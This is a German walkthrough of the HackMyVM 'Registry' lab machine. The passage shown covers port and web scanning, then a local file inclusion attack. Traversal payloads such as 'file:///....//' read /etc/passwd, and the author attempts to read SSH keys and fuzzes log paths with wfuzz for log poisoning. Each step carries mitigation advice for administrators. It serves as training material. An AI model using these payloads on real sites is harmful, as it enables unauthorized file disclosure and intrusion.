Registry - HackMyVM - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
curl
grep
wfuzz
stty
id
sudo
ls
cd
checksec
gdb-peda
python3
pwntools
socket
nc
find
base64
sponge
msf-pattern_create
msfvenom
ldd
readelf
nano

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Wie gewohnt beginne ich die Aufklärung mit einem Netzwerkscan, um das Zielsystem im lokalen Subnetz zu finden. Ich verwende `arp-scan -l` und filtere die Ausgabe nach Systemen mit einer "PCS" MAC-Adresse (`grep "PCS"`), was auf eine VirtualBox-VM hindeutet. Mit `awk '{print $1}'` extrahiere ich die IP-Adresse des gefundenen Systems.

**Bewertung:** Dieser initiale Scan liefert schnell die IP-Adresse des Zielsystems (192.168.2.51). Die gezielte Suche nach "PCS" MAC-Adressen ist effektiv, um die VM in der lokalen Umgebung zu isolieren.

**Empfehlung (Pentester):** Starte immer mit einer soliden Netzwerkaufklärung, um das Ziel zu identifizieren und seine IP-Adresse zu bestätigen. Nutze verfügbare Hinweise (wie MAC-Adressen) zur Beschleunigung.
**Empfehlung (Admin):** Überwache dein Netzwerk auf solche Scans. Standard-MAC-Adressen-Prefixe können Angreifern helfen, VMs zu erkennen.

┌──(root㉿CCat)-[~] └─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.51

**Analyse:** Um das Zielsystem einfacher ansprechen zu können, trage ich die gefundene IP-Adresse (192.168.2.51) zusammen mit einem Hostnamen (`registry.hmv`) in meine lokale `/etc/hosts`-Datei ein. Ich verwende den Texteditor `vi` für diese Änderung.

**Bewertung:** Das Hinzufügen eines Hostnamens zur lokalen `hosts`-Datei ist eine Standardpraxis, die die Lesbarkeit und Benutzerfreundlichkeit von nachfolgenden Befehlen und URLs verbessert. Es simuliert eine DNS-Auflösung für den spezifischen Hostnamen.

**Empfehlung (Pentester):** Nutze lokale Hostnamen, um den Überblick über deine Ziele zu behalten.
**Empfehlung (Admin):** Achte darauf, welche Hostnamen für interne Systeme verwendet werden und ob diese potenziell Hinweise auf die Systemfunktion geben könnten, falls sie nach außen gelangen.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
  192.168.2.51    registry.hmv

**Analyse:** Ich starte einen umfassenden Nmap-Scan auf dem Zielsystem (192.168.2.51) um alle offenen Ports und Details zu den laufenden Diensten zu identifizieren. Die Optionen sind `-sS` (SYN-Scan), `-sC` (Standard-Skripte), `-sV` (Versionserkennung), `-p-` (scannt alle 65535 Ports) und `-T5` (aggressives Timing). Die Option `-AO` wird für aggressive OS-Erkennung verwendet. Die Ausgabe wird hier zunächst ungefiltert gezeigt.

**Bewertung:** Die vollständige Nmap-Ausgabe zeigt zwei offene Ports: 22/tcp mit OpenSSH 8.9p1 (Ubuntu) und 80/tcp mit Apache httpd 2.4.52 (Ubuntu). Dies sind die Hauptangriffsflächen. Der HTTP-Titel "Coming Soon 10" auf Port 80 ist ein erster Hinweis auf den Zweck der Webanwendung. Die OS-Erkennung schätzt das System als Ubuntu oder ähnliches Linux ein, was zur SSH-Version passt. Die SSH-Hostkeys sind ebenfalls gelistet.

**Empfehlung (Pentester):** Analysiere die vollständige Nmap-Ausgabe sorgfältig auf alle Details, einschließlich Versionsinformationen, Skriptergebnisse und potenzieller OS-Hinweise.
**Empfehlung (Admin):** Halte SSH-Server und Webserver-Software aktuell, um bekannte Schwachstellen zu vermeiden. Überwache Login-Versuche und System-Logs.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.51
Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-17 14:19 CEST
Nmap scan report for registry.hmv (192.168.2.51)
Host is up (0.00015s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 4d:0e:bf:5f:7c:42:4a:85:95:14:07:6c:07:f8:65:0c (ECDSA)
|_  256 61:cb:06:4a:a5:bf:a2:af:64:0c:9e:d4:20:b0:50:6f (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Coming Soon 10
|_http-server-header: Apache/2.4.52 (Ubuntu)
MAC Address: 08:00:27:FA:D4:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms registry.hmv (192.168.2.51)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ . | Ziel: https://nmap.org/submit/].
Nmap done: 1 IP address (1 host up) scanned in 9.60 seconds

**Analyse:** Ich filtere die Nmap-Ausgabe mit `grep open`, um schnell eine Zusammenfassung der offenen Ports zu erhalten.

**Bewertung:** Die gefilterte Ausgabe bestätigt nochmals die offenen Ports 22 (SSH) und 80 (HTTP) mit den erkannten Versionen. Dies ist eine gute Methode, um die wichtigsten Angriffsvektoren auf einen Blick zu sehen, bevor man sich in die Details der vollständigen Nmap-Ausgabe vertieft.

**Empfehlung (Pentester):** Nutze Filter wie `grep open` für eine schnelle Übersicht über die Dienste, aber verlasse dich nicht ausschließlich darauf; die vollständige Ausgabe enthält oft mehr Details.
**Empfehlung (Admin):** Prüfe die Liste der offenen Ports regelmäßig. Schließe alle Ports, die nicht aktiv genutzt werden.

┌──(root㉿CCat)-[~] └─# nmap -sS -sC -sV -p- -T5 -AO 192.168.2.51|grep open
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))

Web Enumeration

**Analyse:** Nach dem Portscan richte ich meine Aufmerksamkeit auf den Webserver, der auf Port 80 mit Apache httpd 2.4.52 läuft. Ich führe einen detaillierten Webserver-Scan mit `nikto` durch. `nikto -h http://registry.hmv` prüft den Host auf gängige Schwachstellen, Fehlkonfigurationen und unsichere Dateien.

**Bewertung:** Der Nikto-Scan liefert mehrere interessante Ergebnisse. Es fehlen die Sicherheits-Header `X-Frame-Options` und `X-Content-Type-Options`. Es gibt Hinweise auf die Preisgabe der internen IP-Adresse "127.0.1.1" über den `Location`-Header bei Anfragen an `/images` mit HTTP/1.0 (CVE-2000-0649). Die Apache-Version 2.4.52 ist veraltet. Besonders relevant sind die gefundenen Verzeichnislistungen (`Directory indexing found`) für `/css/` und `/images/`. Dies ist eine Fehlkonfiguration, die Einblicke in die Dateistruktur gibt. Die Meldung zu "junk HTTP methods" kann ein Hinweis auf Web Application Firewalls oder andere Schutzmechanismen sein, die versuchen, ungewöhnliche Anfragen zu blockieren.

**Empfehlung (Pentester):** Nutze automatisierte Web-Scanner, um schnell eine erste Liste von Schwachstellen zu erhalten. Priorisiere Fehlkonfigurationen wie Verzeichnislistungen oder veraltete Software. Prüfe auf Informationslecks wie interne IP-Adressen.
**Empfehlung (Admin):** Stelle sicher, dass alle Webserver wichtige Sicherheits-Header setzen. Behebe Verzeichnislistungen (mittels Webserver-Konfiguration oder `.htaccess` mit `Options -Indexes`). Halte Webserver-Software immer auf dem neuesten Stand. Konfiguriere den Server so, dass er keine internen IPs preisgibt.

┌──(root㉿CCat)-[~] └─# nikto -h http://registry.hmv
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.51
+ Target Hostname:    192.168.2.51
+ Target Port:        80
+ Start Time:         2025-06-17 14:19:24 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.52 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /images: IP address found in the 'location' header. The IP is "127.0.1.1". See: [Link: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed | Ziel: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed]
+ /images: The web server may reveal its internal or real IP in the Location header via a request to with HTTP/1.0. The value is "127.0.1.1". See: [Link: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649 | Ziel: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0649]
+ Apache/2.4.52 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /css/: Directory indexing found.
+ /css/: This might be interesting.
+ /images/: Directory indexing found.
+ 8103 requests: 0 error(s) and 9 item(s) reported on remote host
+ End Time:           2025-06-17 14:19:47 (GMT2) (23 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

**Analyse:** Zusätzlich zum Nikto-Scan führe ich einen Verzeichnis-Brute-Force-Scan mit `gobuster` auf der Ziel-Website (`http://registry.hmv`) durch. Ich verwende die Option `dir` für den Verzeichnismodus, gebe die URL an, nutze eine große Wortliste (`/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`) und füge eine lange Liste von Dateierweiterungen (`-x`) hinzu, um auch spezifische Dateien zu finden. Ich schließe bestimmte Statuscodes (`-b '503,404,403'`) aus, um Fehlerseiten oder blockierte Zugriffe zu ignorieren, erlaube erweiterte Ergebnisse (`-e`), deaktiviere Fehlermeldungen (`--no-error`) und verwende `-k` um SSL-Fehler zu ignorieren (obwohl hier kein HTTPS verwendet wird).

**Bewertung:** Gobuster findet mehrere Verzeichnisse, darunter `/images`, `/css`, `/js`, `/javascript`, `/vendor`, `/fonts`, die mit 301 (Moved Permanently) auf sich selbst umleiten (was auf eine saubere Verzeichnisstruktur hindeutet) und die Top-Level-Dateien `index.php` und `default.php`, die mit 200 (OK) antworten. Die gefundenen Verzeichnisse `/css` und `/images` stimmen mit den Verzeichnislistungen überein, die Nikto gefunden hat. Das Vorhandensein von `.php`-Dateien (`index.php`, `default.php`) bestätigt, dass die Website PHP verwendet. Die Dateierweiterungen im Scan helfen, potenziell interessante Dateien zu finden.

**Empfehlung (Pentester):** Führe immer eine Verzeichnis- und Dateiaufzählung durch, um die Struktur der Webanwendung zu verstehen und versteckte Dateien/Verzeichnisse zu finden. Verwende umfangreiche Wortlisten und verschiedene Dateierweiterungen.
**Empfehlung (Admin):** Entferne alle Dateien, die nicht zwingend öffentlich zugänglich sein müssen (z.B. alte Backups, Testskripte). Überwache Webserver-Logs auf Anzeichen von Verzeichnis-Scans.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://registry.hmv" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml,yaml,bak -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://registry.hmv
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              db,bat,java,icon,xml,svg,mod,sql,pl,pdf,desc,zip,tar,sh,csv,rtf,bak,pub,crt,c,exe,dll,raw,csh,png,kdbx,old,yaml,doc,accdb,ELF,rar,ps1,diff,php,xlsx,lib,config,ln,docx,py,elf,js.map,phtml,asp,jpg,pem,cgi,rpm,aspx,deb,gz,jpeg,json,exp,mdb,html,conf,eps,pHtml,txt,xls
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://registry.hmv/index.php            (Status: 200) [Size: 5938]
http://registry.hmv/images               (Status: 301) [Size: 313] [--> http://registry.hmv/images/]
http://registry.hmv/default.php          (Status: 200) [Size: 5938]
http://registry.hmv/css                  (Status: 301) [Size: 310] [--> http://registry.hmv/css/]
http://registry.hmv/js                   (Status: 301) [Size: 309] [--> http://registry.hmv/js/]
http://registry.hmv/javascript           (Status: 301) [Size: 317] [--> http://registry.hmv/javascript/]
http://registry.hmv/vendor               (Status: 301) [Size: 313] [--> http://registry.hmv/vendor/]
http://registry.hmv/fonts                (Status: 301) [Size: 312] [--> http://registry.hmv/fonts/]

Total time: 7.854297
Processed Requests: 304
Filtered Requests: 247
Requests/sec.: 38.70492

**Analyse:** Ich untersuche die Dateinamen `index.php` und `default.php` weiter. Oft verwenden solche Dateinamen Parameter, um dynamische Inhalte zu laden, was auf lokale oder Remote File Inclusion (LFI/RFI) Schwachstellen hindeuten kann. Ich versuche, den Quellcode von `index.php` über den Browser anzusehen (`view-source:`). Der Text zeigt nur ".....", was darauf hindeutet, dass der Quellcode geprüft wurde, aber hier nicht vollständig protokolliert ist. Die Vermutung liegt nahe, dass der Quellcode einen Parameter zeigt, der Dateien inkludiert, z.B. `?page=`.

**Bewertung:** Die Prüfung des Quellcodes ist essentiell, um Schwachstellen in der Anwendungslogik zu finden. Das Fehlen des vollständigen Quellcodes hier ist unideal, aber die weiteren Schritte im Text deuten stark darauf hin, dass eine LFI-Schwachstelle im `page`-Parameter gefunden wurde. LFI-Schwachstellen ermöglichen es einem Angreifer, Dateien vom Zielsystem über die Webanwendung zu lesen.

**Empfehlung (Pentester):** Analysiere den Quellcode von Webanwendungen (falls zugänglich) oder teste gängige Parameter (`?page=`, `?file=`, `?view=`, `?include=`, etc.) in URLs auf File Inclusion Schwachstellen. Versuche, Systemdateien (`/etc/passwd`) oder Konfigurationsdateien zu inkludieren.
**Empfehlung (Admin):** Implementiere Input-Validierung für alle Dateinamen oder Pfade, die von der Webanwendung verarbeitet werden. Verwende eine Whitelist von erlaubten Dateinamen anstelle einer Blacklist. Deaktiviere, wenn möglich, die Möglichkeit, externe URLs über Datei-Inklusions-Funktionen zu inkludieren (RFI). 

view-source:http://registry.hmv/index.php?page=default.php
 .....
...

**Analyse:** Ich teste die vermutete LFI-Schwachstelle im `page`-Parameter von `index.php` indem ich versuche, die Systemdatei `/etc/passwd` zu inkludieren. Ich verwende die URL `http://registry.hmv/index.php?page=../../../../../../../etc/passwd`. Die Kette von `../` dient dazu, aus dem aktuellen Webverzeichnis in das Root-Dateisystem zu navigieren.

**Bewertung:** Die Meldung "hier ist alles leer, ich denke weil der server auf meine anfrage reagiert hat aber konflikte beim anzeigen entstanden sind" deutet darauf hin, dass die Anfrage vom Server verarbeitet wurde, aber die Ausgabe leer war oder einen Fehler enthielt, der nicht protokolliert wurde. Dies ist oft ein positives Zeichen bei LFI-Tests; es bedeutet, dass der Server versucht hat, die Datei zu inkludieren. Manchmal liegt es an der Anzahl der `../` oder an der Art der Zieldatei.

**Empfehlung (Pentester):** Wenn ein LFI-Versuch keine Ausgabe liefert, versuche verschiedene Pfade (`../`, `....//`, URL-Kodierung) und verschiedene Zielsystemdateien (`/etc/passwd`, `/etc/hosts`, Log-Dateien). Manchmal blockieren WAFs oder Servereinstellungen bestimmte Muster oder Dateinamen.
**Empfehlung (Admin):** Implementiere eine WAF, die bekannte LFI-Muster erkennt und blockiert. 

view-source:http://registry.hmv/index.php?page=....//....//....//....//....//....//....///etc/password
hier ist alles leer, ich denke weil der server auf meine anfrage reagiert hat
aber conflicte beim anzeigen entstanden sind

**Analyse:** Ich versuche eine leicht modifizierte LFI-Payload-Struktur: `file:///....//....//....//....//....//....//....//etc/passwd`. Die Verwendung des `file:///` Protokolls und einer anderen Anzahl/Struktur von Verzeichnis-Durchläufen (`....//` statt `../`) kann manchmal Firewalls oder unzureichende Filter umgehen.

**Bewertung:** Fantastisch! Diese modifizierte LFI-Payload funktioniert und die Ausgabe zeigt den **kompletten Inhalt der `/etc/passwd` Datei**! Dies bestätigt eine funktionierende Local File Inclusion-Schwachstelle. Ich kann nun beliebige Dateien auf dem Dateisystem lesen, auf die der Webserver-Benutzer (`www-data`) Zugriff hat. Die `/etc/passwd` Datei listet alle Benutzerkonten auf dem System auf (root, daemon, www-data, gato, user, cxdxnt etc.).

**Empfehlung (Pentester):** Experimentiere mit verschiedenen LFI-Payloads (Nullbytes, Kodierungen, Wrappern wie `php://filter`, verschiedene Traversalschemata wie `....//`), wenn die offensichtlichsten nicht funktionieren. Erfolgreiche LFI ist eine kritische Schwachstelle.
**Empfehlung (Admin):** Behebe LFI-Schwachstellen umgehend. Überprüfe den Code, der Benutzereingaben zur Dateiinclusion verwendet, sehr sorgfältig. 

view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///etc/password

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/bin/bash
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
usbmux:x:107:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
gato:x:1000:1000:gato:/home/gato:/bin/bash
uuidd:x:108:112::/run/uuidd:/usr/sbin/nologin
user:x:1001:1001::/home/user:/bin/bash
cxdxnt:x:1002:1002::/home/cxdxnt:/bin/bash

**Analyse:** Um die Benutzerkonten mit einer interaktiven Shell (`/bin/bash`) von den Systemkonten zu unterscheiden, filtere ich die `/etc/passwd`-Ausgabe mit `grep sh`. Der `sh`-Eintrag am Ende einer Zeile in `/etc/passwd` zeigt an, dass der Benutzer eine Shell hat, typischerweise `/bin/bash` oder `/bin/sh`.

**Bewertung:** Die gefilterte Ausgabe listet die Benutzer `root`, `www-data`, `gato`, `user` und `cxdxnt` als Benutzer mit einer interaktiven Shell auf. Dies sind die primären Benutzerkonten, auf die ich mich für Privilege Escalation-Versuche konzentrieren sollte. Das `sshd` Konto hat auch `/usr/sbin/nologin`, was bedeutet, dass es sich nicht interaktiv anmelden kann.

**Empfehlung (Pentester):** Filtere `/etc/passwd` nach Benutzern mit interaktiven Shells, um potenzielle Ziele für Brute-Force, Passwort-Wiederverwendung oder Key-basierte Angriffe zu identifizieren.
**Empfehlung (Admin):** Weise Systemkonten (`www-data`, `sshd` etc.) `nologin` Shells zu, wenn sie keine interaktive Anmeldung benötigen, um das Risiko zu reduzieren. Stelle sicher, dass nur notwendige Benutzerkonten mit interaktiven Shells existieren.

┌──(root㉿CCat)-[~] └─# curl http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///etc/password -s|grep sh
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/bin/bash
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
gato:x:1000:1000:gato:/home/gato:/bin/bash
user:x:1001:1001::/home/user:/bin/bash
cxdxnt:x:1002:1002::/home/cxdxnt:/bin/bash

**Analyse:** Mit der LFI-Schwachstelle versuche ich, die öffentlichen SSH-Schlüssel (`id_rsa.pub`) der identifizierten Benutzer (`gato`, `user`, `cxdxnt`) aus ihren Home-Verzeichnissen (`/home//.ssh/`) zu lesen. Öffentliche Schlüssel sind oft über das Web lesbar und können Hinweise auf private Schlüssel geben, oder das Vorhandensein eines Schlüssels kann für weitere Angriffe relevant sein. Ich verwende die `file://` LFI-Payload-Struktur mit der entsprechenden Anzahl von `../` und den Pfad zur `.ssh/id_rsa.pub` Datei für jeden Benutzer.

**Bewertung:** Keiner der Versuche, die öffentlichen SSH-Schlüssel zu lesen, liefert eine Ausgabe ("keine ausgabe auch nicht bei id_rsa"). Dies bedeutet, dass diese Dateien entweder nicht existieren, nicht lesbar sind (was bei `.ssh` Dateien Standard sein sollte, aber LFI läuft als `www-data`, der eingeschränkte Rechte hat), oder durch die LFI-Schwachstelle nicht inkludiert werden können (z.B. wegen Blockierung von versteckten Dateien). Dies ist eine Sackgasse für diesen spezifischen Ansatz der PE.

**Empfehlung (Pentester):** Wenn der Versuch fehlschlägt, private/öffentliche Schlüssel über LFI zu lesen, schließe nicht sofort aus, dass sie existieren. Es kann an Berechtigungen oder Filtern liegen. Probiere, andere Dateien im selben Verzeichnis zu lesen oder andere PE-Vektoren zu verfolgen.
**Empfehlung (Admin):** Stelle sicher, dass `.ssh`-Verzeichnisse und deren Inhalte restriktive Dateiberechtigungen haben (`chmod 700 ~/.ssh`, `chmod 600 ~/.ssh/*`). Konfiguriere Webserver so, dass sie Anfragen an versteckte Dateien (beginnend mit einem Punkt) in Home-Verzeichnissen blockieren. 

view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///home//gato//.ssh/id_rsa.pub
view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///home//user//.ssh/id_rsa.pub
view-source:http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....///home//cxdxnt//.ssh/id_rsa.pub

keine ausgabe auch nicht bei id_rsa

**Analyse:** Ich teste den `php://filter` Wrapper mit Base64-Kodierung, um den Quellcode von `index.php` selbst zu lesen. Dies ist eine gängige Technik, um den Quellcode von Dateien zu erhalten, die LFI-Schwachstellen haben, wenn die direkte Inklusion nicht funktioniert oder die Ausgabe im Browser unsauber ist. Die URL lautet `http://registry.hmv/index.php?page=php://filter/convert.base64-encode/resource=index.php`.

**Bewertung:** Der Versuch, den Quellcode von `index.php` mit `php://filter` zu lesen, liefert keine Ausgabe. Dies kann verschiedene Gründe haben: Der Wrapper ist blockiert, die Datei ist leer, oder es gibt ein anderes Problem mit der Inklusion. Dies ist eine weitere Sackgasse für diesen spezifischen LFI-Ausnutzungsversuch.

**Empfehlung (Pentester):** Wenn direkte LFI nicht zum Lesen von Quellcode führt, versuche Wrapper wie `php://filter` oder `php://data`. Sei dir bewusst, dass auch Wrapper blockiert sein können.
**Empfehlung (Admin):** Deaktiviere potenziell gefährliche PHP-Wrapper (`allow_url_include=Off`, `allow_url_fopen=Off` in `php.ini`), wenn sie nicht benötigt werden. Implementiere eine WAF, die Versuche, solche Wrapper auszunutzen, erkennt und blockiert. 

view-source:http://registry.hmv/index.php?page=php://filter/convert.base64-encode/resource=index.php
keine ausgabe

**Analyse:** Um das Potenzial der LFI-Schwachstelle weiter auszuloten und potenziell eine Remote Code Execution (RCE) zu erreichen, nutze ich das Tool `wfuzz` für einen kombinierten LFI- und Log-Poisoning-Test. Ich verwende eine Wortliste, die gängige Log-Dateipfade enthält (`/usr/share/wordlists/logfiles.txt`), und verwende diese als `FUZZ` Payload in der LFI-URL: `http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....//FUZZ`. Ich schließe 404-Fehler und Antworten mit 0 Chars Header-Länge aus (`--hc 404 --hh 0`). Das Ziel ist, Log-Dateien zu finden, die ich über LFI inkludieren kann. Wenn ich Schreibzugriff auf eine dieser Log-Dateien habe, könnte ich PHP-Code dort einschleusen (Log Poisoning) und diesen Code dann über LFI ausführen lassen.

**Bewertung:** Wfuzz findet zahlreiche Log-Dateien, die über LFI erfolgreich inkludiert werden können (Status 200). Dazu gehören `/etc/passwd` (was ich bereits manuell gefunden hatte), verschiedene `/proc/` Dateien, `/var/log/dpkg.log`, `/var/log/lastlog`, `/var/log/faillog`, `/var/log/wtmp`, `/var/run/utmp`, Apache-Konfigurationsdateien und vor allem die Apache-Log-Dateien: `/var/log/apache2/error.log` und `/var/log/apache2/access.log`. Das Finden der Apache-Log-Dateien, auf die der Webserver schreibt, ist **entscheidend** für einen Log-Poisoning-Angriff. Wenn ich meinen PHP-Payload in eine dieser Dateien schreiben kann, kann ich ihn über die LFI-Schwachstelle ausführen lassen.

**Empfehlung (Pentester):** Nutze Tools wie Wfuzz mit Wortlisten, um LFI-Schwachstellen systematisch zu prüfen und inkludierbare Dateien zu finden. Priorisiere Log-Dateien, Konfigurationsdateien oder Dateien, die von Benutzern kontrolliert werden könnten.
**Empfehlung (Admin):** Stelle sicher, dass Webserver-Log-Dateien nicht für den Webserver-Benutzer lesbar sind. Überwache Webserver-Logs auf Anzeichen von LFI-Scans (z.B. viele Anfragen an `index.php` mit Dateipfaden als Parameter).

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/wordlists/logfiles.txt -u "http://registry.hmv/index.php?page=file:///....//....//....//....//....//....//....//FUZZ" --hc 404 --hh 0
===============================================================
Wfuzz v2.4.5
---------------------------------------------------------------
ID           Response   Lines    Word       Chars       Payload
===============================================================

000000001:   200        30 L     41 W       1556 Ch     "/etc/password"
000000025:   200        10 L     57 W       411 Ch      "/etc/hosts.allow"
000000024:   200        9 L      25 W       223 Ch      "/etc/hosts"
000000018:   200        12 L     90 W       657 Ch      "/etc/fstab"
000000005:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000000026:   200        17 L     111 W      711 Ch      "/etc/hosts.deny"
000000070:   200        27 L     97 W       582 Ch      "/etc/profile"
000000055:   200        30 L     41 W       1556 Ch     "/etc/password"
000000047:   200        8 L      38 W       371 Ch      "/etc/motd"
000000045:   200        8 L      38 W       371 Ch      "/etc/motd"
000000053:   200        2 L      12 W       91 Ch       "/etc/networks"
000000048:   200        25 L     150 W      1833 Ch     "/etc/mtab"
000000044:   200        4 L      6 W        104 Ch      "/etc/lsb-release"
000000038:   200        10 L     41 W       396 Ch      "/etc/issue"
000000086:   200        1 L      3 W        603 Ch      "/etc/ssh/ssh_host_dsa_key.pub"
000000084:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000000080:   200        23 L     142 W      931 Ch      "/etc/resolv.conf"
000000083:   200        53 L     220 W      1650 Ch     "/etc/ssh/ssh_config"
000000109:   200        71 L     426 W      3685 Ch     "/proc/modules"
000000105:   200        32 L     57 W       385 Ch      "/proc/filesystems"
000000108:   200        50 L     146 W      1391 Ch     "/proc/meminfo"
000000113:   200        1 L      23 W       186 Ch      "/proc/version"
000000107:   200        53 L     173 W      1338 Ch     "/proc/ioports"
000000112:   200        2 L      10 W       100 Ch      "/proc/swaps"
000000110:   200        25 L     150 W      1833 Ch     "/proc/mounts"
000000111:   200        10 L     497 W      1183 Ch     "/proc/stat"
000000114:   200        4 L      27 W       316 Ch      "/proc/self/net/arp"
000000104:   200        56 L     358 W      2036 Ch     "/proc/cpuinfo"
000000106:   200        32 L     180 W      1733 Ch     "/proc/interrupts"
000000181:   200        9695 L   57650 W    684662 Ch   "/var/log/dpkg.log"
000000199:   200        0 L      1 W        292876 Ch   "/var/log/lastlog"
000000188:   200        0 L      1 W        32096 Ch    "/var/log/faillog"
000000224:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000004866:   200        55 L     55 W       703 Ch      "/etc/group"
000005079:   200        55 L     55 W       703 Ch      "/etc/group"
000005081:   200        8 L      38 W       371 Ch      "/etc/motd"
000005080:   200        9 L      25 W       223 Ch      "/etc/hosts"
000005075:   200        30 L     41 W       1556 Ch     "/etc/password"
000005060:   200        57 L     139 W      1380 Ch     "/proc/self/status"
000005059:   200        1 L      52 W       323 Ch      "/proc/self/stat"
000005058:   200        0 L      1 W        27 Ch       "/proc/self/cmdline"
000005088:   200        1 L      3 W        80 Ch       "/proc/cmdline"
000005082:   200        10 L     41 W       396 Ch      "/etc/issue"
000005095:   200        227 L    1115 W     7224 Ch     "/etc/apache2/apache2.conf"
000005109:   200        122 L    387 W      3237 Ch     "/etc/ssh/sshd_config"
000005087:   200        1 L      23 W       186 Ch      "/proc/version"
000005162:   200        1 L      3 W        1152 Ch     "/var/run/utmp"
000005161:   200        11 L     106 W      53331 Ch    "/var/log/wtmp"
